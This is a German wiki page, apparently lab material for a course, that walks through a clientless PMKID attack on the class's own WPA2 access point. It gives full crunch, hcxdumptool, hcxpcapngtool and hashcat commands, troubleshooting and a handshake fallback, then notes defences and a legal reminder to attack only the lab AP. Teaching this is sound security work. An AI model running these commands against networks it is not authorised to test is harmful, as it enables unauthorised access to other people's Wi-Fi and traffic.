Wlan PMKID-Angriff
Version vom 20. August 2026, 11:07 Uhr von Thomas.will (Diskussion | Beiträge)
Szenario
- Angriff auf den Access Point
dd-xinux(siehe Access Point aufsetzen). - PMKID-Angriff
- clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
Passwortliste generieren
- Das AP-Passwort ist 8-stellig numerisch (
00001234) — genau dafür bauen wir die Liste.
- crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes ... dies dauert eine Weile
WLAN-Karte freiräumen
- NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur
wlan0aus seiner Verwaltung nehmen
- nmcli dev set wlan0 managed no
Ziel-BSSID ermitteln
- Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs
dd-xinux. - Variante A — direkt am AP ablesen (das ist unser eigener AP)
- iw dev wlan0 info
- Variante B — kurz scannen und nach der ESSID suchen
- hcxdumptool -i wlan0 --rcascan=active
- oder mit iw von einer zweiten Karte
- iw dev wlan0 scan | grep -iB5 dd-xinux
- Wir notieren die BSSID, z. B.
AA:BB:CC:11:22:33.
Filter auf unseren AP bauen
- Am einfachsten — hcxdumptool baut den Filter selbst, kein tcpdump nötig
- hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
- Das
or wlan addr3 fffffffffffflässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames. - Falls hcxdumptool ohne internen Compiler gebaut wurde, geht es über tcpdump — aber die Karte muss vorher im Monitor-Modus sein, sonst kennt tcpdump kein
wlan addr3
- hcxdumptool -m wlan0
- tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
- Alte Reihe (bis 6.2.9): statt BPF eine Textdatei mit der BSSID ohne Doppelpunkte
- echo aabbcc112233 > dd-xinux.txt
PMKID abgreifen
- Neue Reihe — mit BPF-Filter
- hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
- Alte Reihe — mit Filterliste
- hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
- hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
- Mit
--exitoneapol=1beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist. - Die Flags ändern sich zwischen den Versionen — im Zweifel einmal
hcxdumptool -hprüfen.
Diagnose: es kommt nichts
- Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
- 1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
- iw reg get
- iw reg set DE
- 2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
- oben AP-Status, unten Clients. Steht
dd-xinuxoben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff. - 3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
- iw dev wlan0 info
- hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
- (Bandschreibweise variiert je Version —
hcxdumptool -hzeigt das Format.) - 4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
- airmon-ng check kill
- Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
- hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.
Fallback: voller Handshake
- Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
- Ein Handy/Notebook mit
dd-xinuxverbinden (oder kurz trennen und neu verbinden).
- hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei —
hashcat -m 22000bleibt identisch. - Didaktisch schön
- PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.
In hashcat-Format wandeln
- hcxpcapngtool -o pmkid.hc22000 dump.pcapng
- Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
- Kontrolle, dass wirklich nur unser AP drin ist
- hcxhashtool -i pmkid.hc22000 --info=stdout
Cracken
- hashcat -m 22000 pmkid.hc22000 password.lst
- Ergebnis ansehen
- hashcat -m 22000 pmkid.hc22000 --show
Crack-Geschwindigkeiten
- Laptop schafft circa 1000 Keys pro Sekunde
- Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
- Online-Rechenpower mieten
- Cluster aus mehreren Grafikkarten bauen
Warum ist das knackbar?
00001234ist 8-stellig numerisch- 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
- 8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
Verteidigung
- Langes, zufälliges PSK.
- WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
Rechtlicher Hinweis
- Der BPF-Filter ist nicht nur Technik, sondern Pflicht
- Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP
dd-xinuxangreifen und keine fremden Netze im Gebäude.